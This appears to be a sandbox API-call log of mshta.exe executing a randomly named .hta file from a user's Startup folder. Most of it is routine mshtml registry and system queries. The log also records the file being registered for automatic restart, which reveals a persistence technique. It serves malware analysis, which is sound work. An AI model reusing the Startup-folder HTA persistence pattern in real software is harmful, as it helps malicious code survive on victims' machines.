[0095.923] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x1cf1d4 | out: phkResult=0x1cf1d4*=0x98) returned 0x0
[0095.923] RegOpenKeyExW (in: hKey=0x98, lpSubKey="FEATURE_PRIVATE_FONT_SETTING", ulOptions=0x0, samDesired=0x1, phkResult=0x1cf190 | out: phkResult=0x1cf190*=0x0) returned 0x2
[0095.923] RegOpenKeyExW (in: hKey=0x94, lpSubKey="FEATURE_PRIVATE_FONT_SETTING", ulOptions=0x0, samDesired=0x1, phkResult=0x1cf190 | out: phkResult=0x1cf190*=0x0) returned 0x2
[0095.923] RegCloseKey (hKey=0x0) returned 0x6
[0095.923] RegCloseKey (hKey=0x0) returned 0x6
[0095.923] RegCloseKey (hKey=0x94) returned 0x0
[0095.924] RegCloseKey (hKey=0x98) returned 0x0
[0095.924] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x1cf1d0 | out: phkResult=0x1cf1d0*=0x98) returned 0x0
[0095.924] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x1cf1d4 | out: phkResult=0x1cf1d4*=0x94) returned 0x0
[0095.924] RegOpenKeyExW (in: hKey=0x94, lpSubKey="FEATURE_CSS_SHOW_HIDE_EVENTS", ulOptions=0x0, samDesired=0x1, phkResult=0x1cf190 | out: phkResult=0x1cf190*=0x0) returned 0x2
[0095.924] RegOpenKeyExW (in: hKey=0x98, lpSubKey="FEATURE_CSS_SHOW_HIDE_EVENTS", ulOptions=0x0, samDesired=0x1, phkResult=0x1cf190 | out: phkResult=0x1cf190*=0x0) returned 0x2
[0095.924] RegCloseKey (hKey=0x0) returned 0x6
[0095.924] RegCloseKey (hKey=0x0) returned 0x6
[0095.924] RegCloseKey (hKey=0x98) returned 0x0
[0095.924] RegCloseKey (hKey=0x94) returned 0x0
[0095.924] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x1cf1d0 | out: phkResult=0x1cf1d0*=0x94) returned 0x0
[0095.924] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x1cf1d4 | out: phkResult=0x1cf1d4*=0x98) returned 0x0
[0095.924] RegOpenKeyExW (in: hKey=0x98, lpSubKey="FEATURE_DISPLAY_NODE_ADVISE_KB833311", ulOptions=0x0, samDesired=0x1, phkResult=0x1cf190 | out: phkResult=0x1cf190*=0x0) returned 0x2
[0095.925] RegOpenKeyExW (in: hKey=0x94, lpSubKey="FEATURE_DISPLAY_NODE_ADVISE_KB833311", ulOptions=0x0, samDesired=0x1, phkResult=0x1cf190 | out: phkResult=0x1cf190*=0x0) returned 0x2
[0095.925] RegCloseKey (hKey=0x0) returned 0x6
[0095.925] RegCloseKey (hKey=0x0) returned 0x6
[0095.925] RegCloseKey (hKey=0x94) returned 0x0
[0095.925] RegCloseKey (hKey=0x98) returned 0x0
[0095.925] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x1cf1d0 | out: phkResult=0x1cf1d0*=0x98) returned 0x0
[0095.925] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x1cf1d4 | out: phkResult=0x1cf1d4*=0x94) returned 0x0
[0095.925] RegOpenKeyExW (in: hKey=0x94, lpSubKey="FEATURE_ALLOW_EXPANDURI_BYPASS", ulOptions=0x0, samDesired=0x1, phkResult=0x1cf190 | out: phkResult=0x1cf190*=0x0) returned 0x2
[0095.925] RegOpenKeyExW (in: hKey=0x98, lpSubKey="FEATURE_ALLOW_EXPANDURI_BYPASS", ulOptions=0x0, samDesired=0x1, phkResult=0x1cf190 | out: phkResult=0x1cf190*=0x0) returned 0x2
[0095.925] RegCloseKey (hKey=0x0) returned 0x6
[0095.925] RegCloseKey (hKey=0x0) returned 0x6
[0095.925] RegCloseKey (hKey=0x98) returned 0x0
[0095.925] RegCloseKey (hKey=0x94) returned 0x0
[0095.925] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x1cf1d0 | out: phkResult=0x1cf1d0*=0x94) returned 0x0
[0095.925] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x1cf1d4 | out: phkResult=0x1cf1d4*=0x98) returned 0x0
[0095.926] RegOpenKeyExW (in: hKey=0x98, lpSubKey="FEATURE_BODY_SIZE_IN_EDITABLE_IFRAME_KB943245", ulOptions=0x0, samDesired=0x1, phkResult=0x1cf190 | out: phkResult=0x1cf190*=0x0) returned 0x2
[0095.926] RegOpenKeyExW (in: hKey=0x94, lpSubKey="FEATURE_BODY_SIZE_IN_EDITABLE_IFRAME_KB943245", ulOptions=0x0, samDesired=0x1, phkResult=0x1cf190 | out: phkResult=0x1cf190*=0x0) returned 0x2
[0095.926] RegCloseKey (hKey=0x0) returned 0x6
[0095.926] RegCloseKey (hKey=0x0) returned 0x6
[0095.926] RegCloseKey (hKey=0x94) returned 0x0
[0095.926] RegCloseKey (hKey=0x98) returned 0x0
[0095.926] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x1cf1d0 | out: phkResult=0x1cf1d0*=0x98) returned 0x0
[0095.926] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x1cf1d4 | out: phkResult=0x1cf1d4*=0x94) returned 0x0
[0095.926] RegOpenKeyExW (in: hKey=0x94, lpSubKey="FEATURE_DATABINDING_SUPPORT", ulOptions=0x0, samDesired=0x1, phkResult=0x1cf190 | out: phkResult=0x1cf190*=0x0) returned 0x2
[0095.926] RegOpenKeyExW (in: hKey=0x98, lpSubKey="FEATURE_DATABINDING_SUPPORT", ulOptions=0x0, samDesired=0x1, phkResult=0x1cf190 | out: phkResult=0x1cf190*=0x0) returned 0x2
[0095.926] RegCloseKey (hKey=0x0) returned 0x6
[0095.926] RegCloseKey (hKey=0x0) returned 0x6
[0095.926] RegCloseKey (hKey=0x98) returned 0x0
[0095.926] RegCloseKey (hKey=0x94) returned 0x0
[0095.926] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x1cf1d0 | out: phkResult=0x1cf1d0*=0x94) returned 0x0
[0095.927] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x1cf1d4 | out: phkResult=0x1cf1d4*=0x98) returned 0x0
[0095.927] RegOpenKeyExW (in: hKey=0x98, lpSubKey="FEATURE_ENFORCE_BSTR", ulOptions=0x0, samDesired=0x1, phkResult=0x1cf190 | out: phkResult=0x1cf190*=0x0) returned 0x2
[0095.927] RegOpenKeyExW (in: hKey=0x94, lpSubKey="FEATURE_ENFORCE_BSTR", ulOptions=0x0, samDesired=0x1, phkResult=0x1cf190 | out: phkResult=0x1cf190*=0x0) returned 0x2
[0095.927] RegCloseKey (hKey=0x0) returned 0x6
[0095.927] RegCloseKey (hKey=0x0) returned 0x6
[0095.927] RegCloseKey (hKey=0x94) returned 0x0
[0095.927] RegCloseKey (hKey=0x98) returned 0x0
[0095.927] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x1cf1d0 | out: phkResult=0x1cf1d0*=0x98) returned 0x0
[0095.927] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x1cf1d4 | out: phkResult=0x1cf1d4*=0x94) returned 0x0
[0095.927] RegOpenKeyExW (in: hKey=0x94, lpSubKey="FEATURE_ENABLE_DYNAMIC_OBJECT_CACHING", ulOptions=0x0, samDesired=0x1, phkResult=0x1cf190 | out: phkResult=0x1cf190*=0x0) returned 0x2
[0095.927] RegOpenKeyExW (in: hKey=0x98, lpSubKey="FEATURE_ENABLE_DYNAMIC_OBJECT_CACHING", ulOptions=0x0, samDesired=0x1, phkResult=0x1cf190 | out: phkResult=0x1cf190*=0x0) returned 0x2
[0095.927] RegCloseKey (hKey=0x0) returned 0x6
[0095.927] RegCloseKey (hKey=0x0) returned 0x6
[0095.927] RegCloseKey (hKey=0x98) returned 0x0
[0095.927] RegCloseKey (hKey=0x94) returned 0x0
[0095.928] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0
[0095.929] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x1cf1d0 | out: phkResult=0x1cf1d0*=0x98) returned 0x0
[0095.929] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x1cf1d4 | out: phkResult=0x1cf1d4*=0x9c) returned 0x0
[0095.929] RegOpenKeyExW (in: hKey=0x9c, lpSubKey="FEATURE_LEGACY_TOSTRING_IN_COMPATVIEW", ulOptions=0x0, samDesired=0x1, phkResult=0x1cf190 | out: phkResult=0x1cf190*=0x0) returned 0x2
[0095.929] RegOpenKeyExW (in: hKey=0x98, lpSubKey="FEATURE_LEGACY_TOSTRING_IN_COMPATVIEW", ulOptions=0x0, samDesired=0x1, phkResult=0x1cf190 | out: phkResult=0x1cf190*=0x0) returned 0x2
[0095.929] RegCloseKey (hKey=0x0) returned 0x6
[0095.929] RegCloseKey (hKey=0x0) returned 0x6
[0095.929] RegCloseKey (hKey=0x98) returned 0x0
[0095.929] RegCloseKey (hKey=0x9c) returned 0x0
[0095.929] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x1cf1d0 | out: phkResult=0x1cf1d0*=0x9c) returned 0x0
[0095.929] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x1cf1d4 | out: phkResult=0x1cf1d4*=0x98) returned 0x0
[0095.929] RegOpenKeyExW (in: hKey=0x98, lpSubKey="FEATURE_ENABLE_OM_SCREEN_ORIGIN_DISPLAY_PIXELS", ulOptions=0x0, samDesired=0x1, phkResult=0x1cf190 | out: phkResult=0x1cf190*=0x0) returned 0x2
[0095.930] RegOpenKeyExW (in: hKey=0x9c, lpSubKey="FEATURE_ENABLE_OM_SCREEN_ORIGIN_DISPLAY_PIXELS", ulOptions=0x0, samDesired=0x1, phkResult=0x1cf190 | out: phkResult=0x1cf190*=0x0) returned 0x2
[0095.930] RegCloseKey (hKey=0x0) returned 0x6
[0095.930] RegCloseKey (hKey=0x0) returned 0x6
[0095.930] RegCloseKey (hKey=0x9c) returned 0x0
[0095.930] RegCloseKey (hKey=0x98) returned 0x0
[0095.930] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x1cf1d0 | out: phkResult=0x1cf1d0*=0x98) returned 0x0
[0095.930] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x1cf1d4 | out: phkResult=0x1cf1d4*=0x9c) returned 0x0
[0095.930] RegOpenKeyExW (in: hKey=0x9c, lpSubKey="FEATURE_RESTRICT_CRASH_RECOVERY_SAVE_KB978454", ulOptions=0x0, samDesired=0x1, phkResult=0x1cf190 | out: phkResult=0x1cf190*=0x0) returned 0x2
[0095.930] RegOpenKeyExW (in: hKey=0x98, lpSubKey="FEATURE_RESTRICT_CRASH_RECOVERY_SAVE_KB978454", ulOptions=0x0, samDesired=0x1, phkResult=0x1cf190 | out: phkResult=0x1cf190*=0x0) returned 0x2
[0095.930] RegCloseKey (hKey=0x0) returned 0x6
[0095.930] RegCloseKey (hKey=0x0) returned 0x6
[0095.930] RegCloseKey (hKey=0x98) returned 0x0
[0095.930] RegCloseKey (hKey=0x9c) returned 0x0
[0095.931] GetSystemMetrics (nIndex=68) returned 4
[0095.931] GetSystemMetrics (nIndex=69) returned 4
[0095.931] GetProfileIntA (lpAppName="windows", lpKeyName="DragDelay", nDefault=20) returned 0x14
[0095.931] GetSystemDefaultLCID () returned 0x409
[0095.931] GetVersionExW (in: lpVersionInformation=0x1cf134*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x77b3e36c, dwMinorVersion=0x77b3e0d2, dwBuildNumber=0x7366afd8, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x1cf134*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1
[0095.931] GetUserDefaultUILanguage () returned 0x409
[0095.931] GetLocaleInfoW (in: Locale=0x409, LCType=0x58, lpLCData=0x1cf084, cchData=16 | out: lpLCData="\x03") returned 16
[0095.932] GetKeyboardLayoutList (in: nBuff=32, lpList=0x1cf0b4 | out: lpList=0x1cf0b4) returned 1
[0095.932] GetSystemMetrics (nIndex=4096) returned 0
[0095.933] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x1cf1d8 | out: phkResult=0x1cf1d8*=0x9c) returned 0x0
[0095.933] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x1cf1dc | out: phkResult=0x1cf1dc*=0x98) returned 0x0
[0095.933] RegOpenKeyExW (in: hKey=0x98, lpSubKey="FEATURE_CLEANUP_AT_FLS", ulOptions=0x0, samDesired=0x1, phkResult=0x1cf198 | out: phkResult=0x1cf198*=0x0) returned 0x2
[0095.933] RegOpenKeyExW (in: hKey=0x9c, lpSubKey="FEATURE_CLEANUP_AT_FLS", ulOptions=0x0, samDesired=0x1, phkResult=0x1cf198 | out: phkResult=0x1cf198*=0x0) returned 0x2
[0095.933] RegCloseKey (hKey=0x0) returned 0x6
[0095.933] RegCloseKey (hKey=0x0) returned 0x6
[0095.933] RegCloseKey (hKey=0x9c) returned 0x0
[0095.933] RegCloseKey (hKey=0x98) returned 0x0
[0095.933] GetModuleFileNameW (in: hModule=0x73130000, lpFilename=0x1cf040, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\mshtml.dll" (normalized: "c:\\windows\\syswow64\\mshtml.dll")) returned 0x1e
[0095.933] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x3e) returned 0x463e18
[0095.933] RegisterClipboardFormatA (lpszFormat="Embedded Object") returned 0xc00a
[0095.933] RegisterClipboardFormatA (lpszFormat="Embed Source") returned 0xc00b
[0095.933] RegisterClipboardFormatA (lpszFormat="Link Source") returned 0xc00d
[0095.933] RegisterClipboardFormatA (lpszFormat="Link Source Descriptor") returned 0xc00f
[0095.933] RegisterClipboardFormatA (lpszFormat="Object Descriptor") returned 0xc00e
[0095.933] RegisterClipboardFormatA (lpszFormat="MS Forms CLSID") returned 0xc104
[0095.933] RegisterClipboardFormatA (lpszFormat="MS Forms Text") returned 0xc101
[0095.933] GetDC (hWnd=0x0) returned 0x7010156
[0095.934] SHCreateShellPalette (hdc=0x0) returned 0x90801c2
[0095.934] GetPaletteEntries (in: hpal=0x90801c2, iStart=0x0, cEntries=0x100, pPalEntries=0x7366a494 | out: pPalEntries=0x7366a494) returned 0x100
[0095.934] SHGetInverseCMAP (in: pbMap=0x73668a7c, cbMap=0x4 | out: pbMap=0x73668a7c) returned 0x0
[0095.934] GetDeviceCaps (hdc=0x7010156, index=38) returned 32409
[0095.934] ReleaseDC (hWnd=0x0, hDC=0x7010156) returned 1
[0095.934] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x20a) returned 0x46eab0
[0095.934] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x2000) returned 0x46f4c8
[0095.935] GetCurrentProcessId () returned 0x4dc
[0095.935] _vsnprintf (in: _DstBuf=0x1cf584, _MaxCount=0x16, _Format="%s%08lX", _ArgList=0x1cf24c | out: _DstBuf="#MSHTML#PERF#000004DC") returned 21
[0095.935] OpenFileMappingA (dwDesiredAccess=0x2, bInheritHandle=0, lpName="#MSHTML#PERF#000004DC") returned 0x0
[0095.935] GetVersionExW (in: lpVersionInformation=0x1cf268*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x453708, dwMinorVersion=0x100, dwBuildNumber=0x46dcb0, dwPlatformId=0x450000, szCSDVersion="A") | out: lpVersionInformation=0x1cf268*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1
[0095.935] GetModuleHandleW (lpModuleName="advapi32") returned 0x76460000
[0095.935] GetProcAddress (hModule=0x76460000, lpProcName="EventWrite") returned 0x77b70c59
[0095.935] GetProcAddress (hModule=0x76460000, lpProcName="EventRegister") returned 0x77b4f6ba
[0095.935] GetProcAddress (hModule=0x76460000, lpProcName="EventUnregister") returned 0x77b69241
[0095.935] EtwEventRegister () returned 0x0
[0095.935] EtwRegisterTraceGuidsW () returned 0x0
[0095.935] EtwRegisterTraceGuidsW () returned 0x0
[0095.935] EtwEventRegister () returned 0x0
[0095.937] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Program Files\\Microsoft Office\\Office14\\outllib.dll", lpdwHandle=0x1cf034 | out: lpdwHandle=0x1cf034) returned 0x0
[0095.937] GetModuleHandleW (lpModuleName=0x0) returned 0x920000
[0095.937] GetModuleFileNameW (in: hModule=0x920000, lpFilename=0x1cf040, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\mshta.exe" (normalized: "c:\\windows\\syswow64\\mshta.exe")) returned 0x1d
[0095.937] PathFindFileNameW (pszPath="C:\\Windows\\SysWOW64\\mshta.exe") returned="mshta.exe"
[0095.941] GetCurrentProcessId () returned 0x4dc
[0095.941] GetCurrentProcessId () returned 0x4dc
[0095.943] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Local\\!PrivacIE!SharedMemory!Mutex") returned 0xbc
[0095.943] GetLastError () returned 0x0
[0096.214] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x10, lpName="Local\\!PrivacIE!SharedMem!Counter") returned 0x100
[0096.214] MapViewOfFile (hFileMappingObject=0x100, dwDesiredAccess=0x2, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x250000
[0096.215] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x291ed0 | out: hHeap=0x290000) returned 1
[0096.215] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x290e78 | out: hHeap=0x290000) returned 1
[0096.215] RegCloseKey (hKey=0x42) returned 0x0
[0096.216] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75fe0000
[0096.216] GetProcAddress (hModule=0x75fe0000, lpProcName="RegisterApplicationRestart") returned 0x7601b53c
[0096.216] lstrlenA (lpString="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\twU5X5u5JjqyRmBjT4Z9MFf9KNV5.hta\" ") returned 127
[0096.216] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x100) returned 0x291ed0
[0096.216] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x452b88, cbMultiByte=-1, lpWideCharStr=0x291ed0, cchWideChar=128 | out: lpWideCharStr="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\twU5X5u5JjqyRmBjT4Z9MFf9KNV5.hta\" ") returned 128
[0096.216] RegisterApplicationRestart (pwzCommandline="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\twU5X5u5JjqyRmBjT4Z9MFf9KNV5.hta\" ", dwFlags=0x0) returned 0x0
[0096.216] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x291ed0 | out: hHeap=0x290000) returned 1
[0096.216] GetProcAddress (hModule=0x73130000, lpProcName="RunHTMLApplication") returned 0x7318e710
[0096.220] GetCommandLineW () returned="\"C:\\Windows\\SysWOW64\\mshta.exe\" \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\twU5X5u5JjqyRmBjT4Z9MFf9KNV5.hta\" "
[0096.229] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x104) returned 0x473ef0
[0096.229] OleInitialize (pvReserved=0x0) returned 0x0
[0097.659] IsWindow (hWnd=0x0) returned 0
[0097.659] RegisterClassW (lpWndClass=0x1cf8ec) returned 0xc06e
[0097.659] CreateWindowExW (dwExStyle=0x0, lpClassName="HTML Application Host Window Class", lpWindowName="", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x920000, lpParam=0x73669680) returned 0x10128
[0097.660] NtdllDefWindowProc_W () returned 0x0
[0097.660] NtdllDefWindowProc_W () returned 0x1
[0097.661] NtdllDefWindowProc_W () returned 0x0
[0097.817] NtdllDefWindowProc_W () returned 0x0
[0097.817] CreateWindowExW (dwExStyle=0x40000, lpClassName="HTML Application Host Window Class", lpWindowName="", dwStyle=0x2cf0000, X=-2147483648, Y=-2147483648, nWidth=-2147483648, nHeight=-2147483648, hWndParent=0x10128, hMenu=0x0, hInstance=0x920000, lpParam=0x73669680) returned 0x1012c
[0097.818] NtdllDefWindowProc_W () returned 0x0
[0097.818] NtdllDefWindowProc_W () returned 0x1
[0097.818] NtdllDefWindowProc_W () returned 0x0
[0097.819] NtdllDefWindowProc_W () returned 0x0
[0097.819] SetWindowLongW (hWnd=0x1012c, nIndex=-16, dwNewLong=-2100363264) returned 114229248
[0097.848] NtdllDefWindowProc_W () returned 0x0
[0097.848] NtdllDefWindowProc_W () returned 0x0
[0097.848] NtdllDefWindowProc_W () returned 0x0
[0097.848] NtdllDefWindowProc_W () returned 0x0
[0097.848] NtdllDefWindowProc_W () returned 0x0
[0097.849] NtdllDefWindowProc_W () returned 0x0
[0097.988] SetWindowPos (hWnd=0x1012c, hWndInsertAfter=0xfffffffe, X=0, Y=0, cx=0, cy=0, uFlags=0x37) returned 1
[0097.988] NtdllDefWindowProc_W () returned 0x0
[0097.988] NtdllDefWindowProc_W () returned 0x0
[0097.988] NtdllDefWindowProc_W () returned 0x0
[0097.989] NtdllDefWindowProc_W () returned 0x0
[0097.989] NtdllDefWindowProc_W () returned 0x0
[0097.990] SendMessageW (hWnd=0x1012c, Msg=0x127, wParam=0x3, lParam=0x0) returned 0x0
[0097.990] NtdllDefWindowProc_W () returned 0x0
[0097.990] NtdllDefWindowProc_W () returned 0x0
[0098.221] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x104) returned 0x47b4d0
[0098.221] PathRemoveArgsW (in: pszPath="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\twU5X5u5JjqyRmBjT4Z9MFf9KNV5.hta\" " | out: pszPath="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\twU5X5u5JjqyRmBjT4Z9MFf9KNV5.hta\"")
[0098.294] PathRemoveBlanksW (in: pszPath="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\twU5X5u5JjqyRmBjT4Z9MFf9KNV5.hta\"" | out: pszPath="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\twU5X5u5JjqyRmBjT4Z9MFf9KNV5.hta\"")
[0098.294] PathUnquoteSpacesW (in: lpsz="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\twU5X5u5JjqyRmBjT4Z9MFf9KNV5.hta\"" | out: lpsz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\twU5X5u5JjqyRmBjT4Z9MFf9KNV5.hta") returned 1
[0098.296] CreateURLMonikerEx (in: pMkCtx=0x0, szURL="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\twU5X5u5JjqyRmBjT4Z9MFf9KNV5.hta", ppmk=0x1cf94c*=0x0, dwFlags=0x1 | out: ppmk=0x1cf94c*=0x4606e0) returned 0x0
[0098.301] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x47b4d0 | out: hHeap=0x450000) returned 1
[0098.301] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x10) returned 0x47b670
[0098.301] CoCreateInstance (in: rclsid=0x73269770*(Data1=0x3050f5c8, Data2=0x98b5, Data3=0x11cf, Data4=([0]=0xbb, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbd, [6]=0xce, [7]=0xb)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x732eb75c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x736696d4 | out: ppv=0x736696d4*=0x482668) returned 0x0
[0098.308] DllGetClassObject (in: rclsid=0x47fd34*(Data1=0x3050f5c8, Data2=0x98b5, Data3=0x11cf, Data4=([0]=0xbb, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbd, [6]=0xce, [7]=0xb)), riid=0x75d2ee84*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1cec04 | out: ppv=0x1cec04*=0x73668cb0) returned 0x0
[0098.622] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x2a8) returned 0x480b30
[0098.853] GetCurrentThreadId () returned 0x4e0
[0098.866] RegisterClassExW (param_1=0x1cea9c) returned 0xc119
[0098.866] CreateWindowExW (dwExStyle=0x0, lpClassName=0xc119, lpWindowName=0x0, dwStyle=0x80000000, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x73130000, lpParam=0x0) returned 0x10136
[0098.867] GetWindowLongW (hWnd=0x10136, nIndex=-20) returned 0
[0098.867] NtdllDefWindowProc_W () returned 0x1
[0098.867] NtdllDefWindowProc_W () returned 0x0
[0098.867] NtdllDefWindowProc_W () returned 0x0
[0098.867] NtdllDefWindowProc_W () returned 0x0
[0098.867] NtdllDefWindowProc_W () returned 0x0
[0098.867] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x10) returned 0x47b748
[0098.867] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x10) returned 0x47b760
[0098.867] CreateCompatibleDC (hdc=0x0) returned 0xa01025b
[0098.867] GetDeviceCaps (hdc=0xa01025b, index=90) returned 96
[0098.867] GetDeviceCaps (hdc=0xa01025b, index=88) returned 96
[0098.867] GetSystemMetrics (nIndex=68) returned 4
[0098.867] GetSystemMetrics (nIndex=69) returned 4
[0098.867] GetSystemMetrics (nIndex=2) returned 17
[0098.868] GetSystemMetrics (nIndex=3) returned 17
[0098.868] GetStockObject (i=13) returned 0x18a002e
[0098.868] SelectObject (hdc=0xa01025b, h=0x18a002e) returned 0x18a002e
[0098.868] GetTextMetricsW (in: hdc=0xa01025b, lptm=0x1ceb34 | out: lptm=0x1ceb34) returned 1
[0098.868] SelectObject (hdc=0xa01025b, h=0x18a002e) returned 0x18a002e
[0098.868] DeleteObject (ho=0x18a002e) returned 1
[0098.868] GetSystemDefaultLCID () returned 0x409
